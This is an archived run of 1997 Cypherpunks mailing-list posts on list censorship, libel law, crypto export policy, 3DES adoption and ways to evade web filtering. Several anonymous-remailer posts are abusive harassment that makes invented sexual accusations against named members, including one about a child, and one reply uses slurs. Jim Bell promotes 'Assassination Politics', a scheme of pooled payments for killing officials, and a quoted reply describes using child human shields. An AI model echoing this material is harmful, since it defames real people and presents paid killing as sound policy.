From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 08:46:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A comment on the censorship policy
In-Reply-To: <Pine.SOL.3.93.970130003802.12600A-100000@pegasus.montclair.edu>
Message-ID: <7Zoc2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Thu, 30 Jan 1997, Anonymous wrote:
> > I cannot understand how some of my (accurate) criticisms of Sandfort's
> > censorhip polices---some in direct response to his own self-serving posts
> > declaring himself not to be a flamer himself---are not making it to the
> > "New and Improved Censored List," while inane posts from Toto, Thorn, and
> > someone named "Nurdane Oksas" are appearing.
> 
> 	WEll....that's not so bad ;)

I find Oksas's posts to be very interesting.  

> > (Oksas has the especially annoying habit of quoting entire posts and then
> > appending a one-line piece of completely list-irrelevant fluff. Also,
> 	Is it so annoying...? why did you read it to that point??? :)
> 	Why could you not be so anonymous and tell me?  My posts are
> 	a bit brief; Blancs' are far better, next time read hers.
> 
> > engaging in lovey-dovey posts with Vulis, who writes messages about how he
> > longs to see Oksas naked.)
> 
> 	Huh??  You are being a 'fluff' here ;)

"Anonymous" is lying - I never posted any such thing.  of course the
cocksuckr moderator passed on the "anon's" lies to the censored mailing
list, and I bet he's goingto auto-bounce my refutation to "flames"
- just as everyone had predicted.

> 	
> > This whole process is showing the worst of Sandfort's censorship policy.
> > 
> > (If this is dumped into the "Not suitable for Cypherpunks to read" list, I
> > urge those of you who see it to pass it on to the main list.)

If you don't like the sandfart's moderation policy, you can just read the
unedited list and institute your own moderation policy using 'procmail'.
That's pretty much what the sandfart does anyway. Fluff from people he likes
makes it to the censored list (like a request to jya's bot cc'd to the whole
censored list) whie anything I or Toto or Oksas say is auto-junked.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 10:39:47 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701301837.KAA10112@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:22 AM 1/29/97 -0800, Greg Broiles wrote:
>At 10:42 PM 1/28/97 -0600, Jim Choate wrote:
>
>>It has been asserted by at least one member that the 1st Amendment protects
>>libelous or other defamatory speech. 
>
>Defamation is not protected by the First Amendment; but the First Amendment
>limits the application of defamation law in many circumstances. For
>example, the First Amendment requires plaintiffs to prove "actual malice"
>if they are a public official, public figure, or a private person seeking
>punitive damages.

What you ought to explain to us laymen is that the terminology "actual 
malice" dates from the case New York Times vs. Sullivan, and it used a 
definition of "malice" that was not in any dictionary at the time.  

My recollection:

Sullivan was a local hero in a particular area in the south in the last 50's 
(?), gave a speech to a crowd of (?) people who were probably in sympathy 
with segregation.  They proceeded to march.   Later, the New York Times 
claimed (as I vaguely recall it, although it's been years since I read a 
description) that he had instigated a riot.  

Sullivan sued, claiming his reputation had been damaged.  Arguably, it had, 
although it's probably equally arguable that Sullivan had done something 
that would have been looked upon somewhat unsympathetically by 
non-Southerners.  The local (southern, of course) jury found NYT guilty of 
libel, and awarded Sullivan some huge judgment.    (Had the jury been made 
up of northern people, presumably Sullivan would have lost.)


The problem here is that two long-honored principles collided:  One, the 
"free speech" issue, generally tries to guarantee organizations like NY 
Times the right to print the news and the leeway to do so.  The second  
principle that people should be able to sue for libel in a local court, and 
be awarded whatever amount of money the jury declares.  The problem with 
this was obvious, after the verdict:  It, in effect, allowed essentially any 
burg in the country, no matter how backwards, potentially to bankrupt any 
targeted organ of the national news media.  Something had to give.

Unfortunately, the SC screwed up, as usual.  The proper thing for them to do 
would have been to abandon libel law entirely, recognizing that it did more 
harm than good.  But they blew it:  They invented the "actual malice" 
standard out of whole cloth, raising the standard for libel suits by "public 
figures," which is really a rather arbitrary standard.  Don't go to any 
ordinary English dictionary for this "malice" definition; it didn't exist 
before the Sullivan decision, not even in lawbooks.  It was really just a 
rabbit pulled from a hat to try to avoid the collision I mentioned above.  

Side note:  I think that the SC should be unable to re-define ordinary 
English words.  But they try anyway.

Basically, it became harder to sue well-known persons.  However, what really 
happened is that they SC had merely put off the problem for another day, 
because the DEFINITION of a "public figure" was at least as malleable as 
Jell-O.   And oddly, it was eventually revealed that you could be a "public 
figure" with respect to one subject, but NOT a "public figure" on another.  
Etc.

Ironically, now that Richard Jewell (incorrectly identified as Atlanta 
bombing suspect) has sued some newspapers (and his former employer) for 
libel, it seems likely that at least some of those defendants will try to 
argue that merely being named by the government as a criminal suspect makes 
him "a public figure."


BTW, I think that pressing the Richard Jewell incident would be an excellent 
way to derail any sort of claim that the government can obey the law.  
Apparently, they got a number of search warrants based on, essentially, 
nothing, and to rub this in the government's nose would show that the 
so-called "probable-cause" standard for warrants is not followed in practice.











Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 10:38:18 -0800 (PST)
To: Dale Thorn <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701301837.KAA10125@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:

>I dare say that the downside of this is much less pleasant than the
>virtual anarchy (in the bad sense) we suffer now.  If the police get
>out of control, A.P. will arrive just in time to plug a few of those
>holes, so to speak.  Ideally, future robotics should be able to
>provide something like Gort (sp?) to take the place of human officers,
>given advances in the kind of pattern matching needed to deter
>aggression and the like.  Those who don't make it past the robots,
>well, the rest of us can learn to behave, and we'll be much better
>off when we do.


Your comparison with the fictional Gort, in the movie "The day the earth 
stood still" is of course apt.  It was only after I'd written most of the 
essay that I realized that an AP-type system would function much as Gort did.  

Occasionally we (CP) see a spoof where somebody claims to have developed a 
software program to "replace the judicial system" or something like that.  
Well, the problem with such a claim (aside from the obvious and enormous 
AI-type difficulties) is that the current system contains numerous biases.  
Writing a program to replace the legal system would presumably require that 
these biases be measured (and admitted-to!) and implemented into a 
well-defined system.  

What we'd discover is that the current system only barely resembles the 
guarantees in the US Constitution. At that point, there would be an argument 
between those who will insist that the Constitution be followed, and those 
who believe that the current de-facto system, however biased, be maintained 
as-is.  

 

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 10:38:07 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701301837.KAA10130@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:16 PM 1/28/97 -0800, Sean Roach wrote:
>At 10:47 PM 1/27/97 -0800, jim bell wrote:
>>In the current political system, in the US for instance, 51% of the 
>>population is able to screw the remaining 49%, just as long as they can 
>>maintain the majority.  Or, perhaps even more accurately and ominously, a 
>>tiny fraction of the population (the current leadership class) is able to 
>>screw the 49%, as long as they have the un-thinking backing of the remaining 
>>and relatively uninvolved 51%.
>>
>>AP disables this system.  AP turns government into the moral equivalent of a 
>>pick-up football game:  Nobody is being forced to play, and everybody and 
>>anybody can simply "get up and leave" whenever he wants to.  The moment the 
>>"rules of the game" to make an individual's continued participation 
>>unsatisfying, he can leave.
>>
>...
>In our society, which, if I remember correctly, 10% of the population
>control 90% of the wealth, AP would only lead to 10% of the population being
>able to screw the remaining 90%.  At least as it is, it takes a simple 
majority.

No, that doesn't work.  AP does involve money, that's true, but what "the 
poor" lack in individual assets they make up for in numbers.   And AP 
implements a sort of "mutual disarmament," by not only preventing that 10% 
from screwing the 90%, but also prevents the 90% from screwing the 10%.   

>As for the murder of the rich, here is a scenerio.
>
>A collection of poor pool their capitol to have a tyrant killed.
>The tyrant assembles a counter-wager saying that anyone able to prove thier
>ability to kill him without harming him, and who can show they got through
>will get 110% of the poor's bid.

Question:  Where does he get the money for the reward?  If he gets it 
through taxation, he'll anger the people who were taxed and they'll pay to 
see him die.  If he got in through taxation in the past, enough people will 
STILL be angry enough with him to see him dead.  His employees (the ones who 
probably have the most opportunity to kill him) would be made just about as 
wealthy by killing him as taking him up on his odd offer.  Worse, for him, 
is that he'd lose money paying off those people if they showed they could 
have "succeeded."  Even if they were not motivated to actually kill him, 
they'd be motived to SHOW they could kill him, and notice that they'll 
become just about as rich for KILLING him as merely showing they can!  

Notice that your idea also assumes that an employee has to become willing 
to, in effect, plot against his employer in such a way that he can be 
assured that his actions won't be incorrectly interpretated as a genuine 
assassination attempt. How can you (or anyone else?) tell the difference 
until the plan either succeeds or fails?)  Moreover, how can the employee 
trust that his boss will actually honor his promise?

I think you're also (falsely) assuming that a deliberately-unsuccessful 
assassination demonstration immunizes the tyrant from a repeat performance.  
True, it's often useful to know what kinds of attacks are possible, but that 
doesn't mean that the system can be fixed to prevent future repetitions...

The tyrant, then, either loses his life or a lot of money, and he still 
can't trust anybody.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 30 Jan 1997 10:55:20 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <3.0.32.19970130101929.006c7ea4@192.100.81.137>
MIME-Version: 1.0
Content-Type: text/plain


At 01:41 AM 1/30/97 -0800, Bill Stewart wrote:
>I think we do need to get some sort of push going for 3DES as a
>replacement for DES - it's strong enough, even though DES is showing
>its age, and it's an obvious transition from the current technology.
>It's slower and clunkier than IDEA or RC4/128, but still not bad.

The migration to 3DES is underway, at least in the banking sector. ANSI
X.9, the group that deals with many of the protocols used in the banking
industry, has made tremendous progress. 3DES, elliptic curve, and a host of
other improvements all are out of committee and should be available as
official (for bankers :-) specs soon, if they aren't already.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Thu, 30 Jan 1997 07:59:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701301558.KAA13324@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


according to the notorious  jim bell <jimbell@pacifier.com>

> {snip} They're getting desperate.  "Sovereign Right of Lawful Access"
> doesn't state HOW DIFFICULT that "access" is to be.  {snip}


Just might get a bit more 'difficult', if these demagogues get their
grandstand play off....


>Encryption Export Bill Backed In Senate

>WASHINGTON - A bipartisan group of U.S. senators has endorsed a bill 
>to promote U.S. exports of encryption technology by removing government 
>barriers on foreign sales. 

>"Foreign companies are fully utilizing this technology, while 
>Americans companies have their hands tied with draconian U.S. laws on 
>encryption," Sen. John Ashcroft, R-Missouri, said. 

>He joined Sens Conrad Burns, R-Montana and Patrick Leahy, D-Vermont 
>in endorsing the Promotion of Commerce Online in the Digital Era 
>.................^^........^..^........^.............^.......^..
>(PRO-CODE) bill. 

Don't you just love their cute little acronym?  Must have laid awake 
nights thinking that one up!

Thomas M. McGhan
tmcghan@gill-simpson.com
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 09:03:04 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Fighting the cybercensor
In-Reply-To: <R8Nc2D3w165w@bwalk.dm.com>
Message-ID: <199701301658.KAA03849@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> It looks like Igor has made it to Sandy's list of "flamers" whose every
> submission is procmailed to "cypherpunks-flames". The above quote is
> crypto-relevant (as is assassination politics) and contains no flames.
> it was tossed into "cypherpunks-flames" by a robot. The time stamps
> clearly show that Sandy didn't even look at it.

I am not sure if the above is true. Please post the time stamps (several
of them) that show that my posts are auto-junked.

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ja94a08@tdi.itm.edu.my (iamme)
Date: Wed, 29 Jan 1997 19:12:56 -0800 (PST)
To: mst114@psu.edu
Subject: Re:re :  Best Computer School?
Message-ID: <199701300310.LAA00651@ss5-15.itm.edu.my>
MIME-Version: 1.0
Content-Type: text/plain


what about purdue and caltech ?
anyone has Carnegie Mellon University (C.M.U.) in Pittsburgh www ?
he he man





> From owner-cypherpunks@toad.com Wed Jan 29 14:57 SGT 1997
> Date: Tue, 28 Jan 1997 20:23:53 -0500
> From: Matthew Toth <mst114@psu.edu>
> To: SpyKing <spyking@thecodex.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Best Computer School?
> 
>         MIT is one the best schools in the country for C.S.
>         Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
> PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:15:43 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701301915.LAA14465@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


What you're presented (included in its entirety below) is what I've come to 
call an "AP story problem."   I've worked through many of those myself; 
their main problem is that they don't carefully describe why _each_ person 
in the "play" you've described would be motivated to do what it's claim he 
does, and why he DOES NOT do other things to fix the situation he's in.  
Remember, I'm not merely talking about the main character, but also the ones 
who are (apparently?) incidental.  

For just one example, you said:    "conventional bodyguards could be 
included, ones with no real pay but with the fore knowledgethat they will be 
buried with the tyrant."

What motivates these people?  Are they hostages?  If they're hostages, then 
presumably that means they're motivated to seek the death of anyone who is 
holding them.  What about their relatives; don't they have any sympathy for 
those who are taken?  Why don't they donate to AP to see the lead guy dead?

Etc. Etc.    



At 04:36 PM 1/29/97 -0800, Sean Roach wrote:
>This may be true, but the example was to show how easy a defensive line
>could be thrown up around the powerful.  For example, conventional body
>guards could be included, ones with no real pay but with the fore knowledge
>that they will be buried with the tyrant.  These body guards could be ten
>children out of each local village.  Merely a human shield.  In an attack,
>they would scatter, but the parents would know that the children would die
>if a successful action were taken against the tyrant.  Also, the tyrant
>could put an open bounty on anyone caught trying to harm him.  Just bring
>the decapitated head of the assassin along with a VHS cassette of the
>attempted action for a big reward.  
>
>By layering the defenses, it becomes increasingly difficult for anyone to
>get through.
>
>Obviously the castles walls are the first line of defense, so a reward is
>given for anyone caught using any entrance to the fortress except those that
>are provided.
>
>The household is told that their participation will result in the
>extermination of their families.  They are then told that if they know of an
>impending action and fail to report it or attempt to stop it, they are
>considered party it those actions.
>
>A human shield of innocents is "given the privaledge to live in the fortress
>with our great leader" so that actions by concerned parties is limited further.
>A standing bounty is placed on the head of the assassin, who so ever brings
>in the head of the assassin and all children parented by that person after
>the assination will be given a reward of some set sum.  Probably 110%.
>
>A bounty is set on security breaches, this bounty would probably be 110% of
>the death mark on the tyrant.
>
>A series of more conventional boobytraps are layed in normally inaccessable
>areas, the layers of these either being prisoners who have unknowningly been
>condemned to die, the tyrant himself, or some other disposable or trustable
>deployment device.  The most common of these would probably be a mine field
>between the two outer most walls of the fortress, and maybe a funnel-gun
>parimeter inside of that.
>
>An inner sanctum with self contained air, water, and food is maintained for
>the tyrant and h[is/er] closest relatives/advisors.  This sanctum would be
>accessed by biometrics and only used in a percieved emergency.
>
>All dissent is declared illegal with capitol punishment for the mere
>discussion of the impending death of the tyrant, exceptions to this would be
>persons in the direct company of the tyrant with the tyrants full awareness,
>and permission.
>
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 09:26:53 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Authenticated mail command processor
Message-ID: <199701301721.LAA04053@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I am wondering if anyone has written a package for remote command 
processing that has authentication and access control built in.

I am looking for the following:

	1) PGP Authentication of each incoming message
	2) Access control where ability of users to execute commands is
	   finely limited
	3) Protection against replay and MITM attacks, encryption
	4) Sending back of the results of execution
	5) Some form of logging

I need it for my cryptorobomoderator bot, to allow moderators to 
go to vacations and perform other admin tasks w/o logging in.

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 30 Jan 1997 09:45:27 -0800 (PST)
To: "'snow'" <cypherpunks@toad.com>
Subject: RE: Cellular phone triangulation
Message-ID: <01BC0EA2.D52FC620@s13-pm07.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Snow wrote:
    I'd rather become an "arms dealer".

You may already be one if the government keeps this ITAR shit up. --Internaut
 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Thu, 30 Jan 1997 08:40:43 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <syuB2D10w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970130113556.22219A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> sameer <sameer@c2.net> writes:
> 
> > 	David Aaron seems to make lying out of his ass a hobby. His
> > talk at the RSA conference was such a load of bullshit it wasn't even
> > funny.
> 
> The above is a flame.  But because Sandy works for Sameer, it was posted
> to the censores list, not tosses to "cypherpunks-flames".

	Hmm, I wonder what Sandy does for Sameer...

	Regards,





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: uae_1.html
Message-ID: <199701301948.LAA18794@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:26 AM 1/28/97 -0500, Lynx_User@linux.nycmetro.com wrote:
>                             Reuters New Media
>   Monday January 27 9:50 AM EST 
>   
>UAE Launches Service To Censor Internet
[deleted]
>   The proxy server will be pre-fed with Internet addresses where access
>   is blocked off, industry sources said. But the server will be unable
>   to block access if addresses of prohibited sites are changed, as
>   frequently happens.
>   
>   Etisalat says it will disconnect any customer who abused its Internet
>   services and violated "order and clear laws."
>   
>   "Singapore has succeeded to a great extent in its drive to control
>   harm done by the Internet," said another Etisalat official. "Why
>   cannot we?"

I wonder what these people will think when organizations like Teledesic and 
Iridium start operating (low-earth-orbit satellites) to allow 
totally-wireless connectivity.  It seems to me that there will be a market 
for services that allow anonymous browsing, perhaps with encrypted requests 
that return otherwise-unidentified data on a publicly-accessible airwaves.  

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:48:43 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Fighting the cybercensor
Message-ID: <199701301948.LAA18798@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:03 AM 1/28/97 -0600, Igor Chudov @ home wrote:
>jim bell wrote:
>> 
>> At 10:21 PM 1/26/97 -0800, blanc wrote:
>> >From:	jim bell (in response to Dimitri Vulis')
>> >Look, I've proposed what I consider to be a remarkably consistent method to 
>> >prevent the kind of political tyranny that you criticize, and I don't see
>> >any recognition of this fact.
>> >........................................................
>> >
>> >1) Jim, why do you insist on discussing this on an forum for encryption?
>> 
>> Because it's on-topic, that's why.  Because it's not merely a list 
>> concerning METHODS of encryption, it's also about the _reasons_ for using 
>> encryption, as well as the _effects_ (both small-scale and large-scale) of 
>> using encryption.  
>
>Actually AP is one of the more interesting topics here. I think that there
>is a clear need for an AP bot.
>
>Do you feel like writing it?

Desire?  Yes.  Ability?  Maybe.  Time? No.

 
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pavel Korensky <pavelk@dator3.anet.cz>
Date: Thu, 30 Jan 1997 03:05:14 -0800 (PST)
To: wendigo@pobox.com
Subject: Re: Workaround for filtering/cybersitter
In-Reply-To: <199701292156.NAA12978@toad.com>
Message-ID: <199701301053.LAA00250@zenith.dator3.anet.cz>
MIME-Version: 1.0
Content-Type: text/plain


Mark Rogaski <wendigo@pobox.com> wrote:
> If I had experience with Netscape plugins and spare time, I'd
> try it myself.  But here's my proposed solution.  
> 
> A plugin in Netscape intercepts all requests,  encrypt the URL
> with a pubkey algorithm, encode the string base64, send it as GET input to
> a proxy server.
> 
> The proxy server decodes and decrypts the URL, gets the requested page,
> and returns it.  This beats out URL-based filtering.
> 
> Still need to figure out the specifics of key-exchange.  If we use
> 40-bit encryption, it's exportable, and it still works in our threat
> model (ie. we don't care if the watchers figure out the URL a few hours
> later).
> 
> To beat out dropping packets with unacceptable pattern in them, we
> could use an SSL-based server as the proxy.
> 
> The plugin could even have a nice little on/off switch and a list
> list of available proxies.

Nice, but I can see one problem here.
If I (as a censor) will want to block your communication to prohibited sites, I
can block the access to the proxy computers. You will just move the blocking
strategy one level up with your plug-in. The censor will block the web servers
AND proxy servers. Because the list of proxy servers must be available somehow
to users, it is very simple to write some kind of script running on the gateway
which is blocking the acccess. The script will download the list of proxy
servers, update the gateway tables and the gateway will be blocking acccess to
all sites on the proxy list. 

Bye PavelK


--
****************************************************************************
*                    Pavel Korensky (pavelk@dator3.anet.cz)                *
*     DATOR3 Ltd., Modranska 1895/17, 143 00 Prague 4, Czech Republic      *
*  PGP key fingerprint: 00 65 5A B3 70 20 F1 54  D3 B3 E4 3E F8 A3 5E 7C   *
****************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "sales" <sales@medannet.com>
Date: Wed, 29 Jan 1997 20:59:02 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199701300448.VAA11457@cough-syrup.nethosting.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz25@prodigy.net
Date: Thu, 30 Jan 1997 09:18:53 -0800 (PST)
Subject: Just ask you a question
Message-ID: <199701301701.MAA316230@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I just want to ask you a question. This is not "unsolicated" email.

Do you want me to post you the URL & information if you are MLM & Business 
Opportinuties Seeker? Please put "SUBSCRIBE" in the subject line. I will
put your name on my list. You may give me your new URL. I will send your 
URL to the people who are on the "Subscribe" email list. 

If you don't want me to post you the URL & information, please type
"UNSUBSCRIBE" in the subject line. I will remove your name on my list.

Thanks,
Sonia











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 12:07:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [GSM] ElGamal
Message-ID: <199701302007.MAA30259@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dumbbell Vasectomy's abysmal grammer, atrocious spelling and
feeble responses clearly identify him as a product of the
American education system.

    _.._        _.._
  ,','"_:./\/\,'_ `.`.
 /_:--:_ ( oo ) _:--:_\ Dumbbell Vasectomy
/'      `'`vv'`'      `\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 12:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FWD] Elliptic curves
Message-ID: <199701302012.MAA31404@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vagina K[ondom] Of The Moment has been fired for
anally raping officemates.

       _  O     O  _
        \-|-\_/-|-/  Dr.Dimitri Vagina K[ondom] Of The Moment
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 30 Jan 1997 10:35:05 -0800 (PST)
To: Pavel Korensky <pavelk@dator3.anet.cz>
Subject: Re: Workaround for filtering/cybersitter
In-Reply-To: <199701301527.HAA05667@toad.com>
Message-ID: <199701301237.MAA26312@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701301527.HAA05667@toad.com>, on 01/30/97 at 11:53 AM,
   Pavel Korensky <pavelk@dator3.anet.cz> said:


>Nice, but I can see one problem here.
>If I (as a censor) will want to block your communication to prohibited sites, I can block
>the access to the proxy computers. You will just move the blocking strategy one level up
>with your plug-in. The censor will block the web servers AND proxy servers. Because the
>list of proxy servers must be available somehow to users, it is very simple to write some
>kind of script running on the gateway which is blocking the acccess. The script will
>download the list of proxy servers, update the gateway tables and the gateway will be
>blocking acccess to all sites on the proxy list. 


In addition to this I (as a censor) would make it Illegal to access, read,
possess the information on these "blocked" sites. Add some keyword monitoring to the
gateway along with logging. This will allow me to selectively go after those who try to
circumvent my censoring attempts.

I would also want to make the ISP's liable for their users accessing this info. That way I
can intimidate them into doing all the work for me. (You can see
this approach in several areas of US law enforcemant. Arrest bartenders for
serving minors, arrest store clerks for selling cigaretts to minors, shut down of BBS for
users posting "dirty pictures", going after ISP's for pirated
software and other copyright infringments by their users.)

Whenever I did decide to prosecute someone I would make it a big public show
for everyone to see with very stiff penalties. After several of these trails the "sheep
factor" will keep 99% of the population in line (US Crypto policy is a prime example).  

The point I am trying to make is that for the censor his set-up does not need to be that
sophisticated as fear and intimidation will keep 99% of the
rank-and-file in line. As for the other 1%, well they already know who they are and new
laws will only help take care of that "problem".


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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1OuujOlJ2t/OwXsSePRptcfDL6XeCQXww5stlS7UXKosG9w0ZWHYOxHvvV9FjDBi
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 12:36:11 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701291856.KAA07395@toad.com>
Message-ID: <199701302036.MAA26546@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


as I've said before, I really hate the "cat out of the bag"
saying, as Aaron's recent comments indicate.

ONLY A TYRANNICAL GOVERNMENT WOULD PUT THE CAT IN THE
BAG IN THE FIRST PLACE

maybe we can distill this into a new saying, instead of
the favorite "cats out of bags". 

I've said repeatedly that pro-crypto advocates using the
"cat out of the bag" analogy is actually damaging to the
position that the constitution guarantees crypto freedom
via free speech and privacy. it encourages the government
side to do exactly as Aaron is doing-- arguing that the
cat is not out of the bag, when *that's*not*the*point*

how about, GOVERNMENT SHOULD STOP SUFFOCATING CRYPTO CAT!!!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 30 Jan 1997 12:38:48 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: NSA Rainbow Series.
In-Reply-To: <199701291856.KAA07394@toad.com>
Message-ID: <Pine.LNX.3.95.970129162712.22906A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain



	A while back someone posted the 1-800 number for the NSA to call
in and get the Rainbow series delivered.... well, I called and put in an
order and it never came, I need to call them again... I don't have the
phone numbere number anymore...does anyone have it? Can someone
email me the number again?

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Thu, 30 Jan 1997 13:07:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Man in the Middle
Message-ID: <199701302059.MAA13084@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Dense Venomous will fuck anything that moves, but he'd rather be
fucking his own daughter's prepubescent body.

       |\_/|
       (0_0)     Dense Venomous
      ==(Y)==
  ---(u)---(u)---





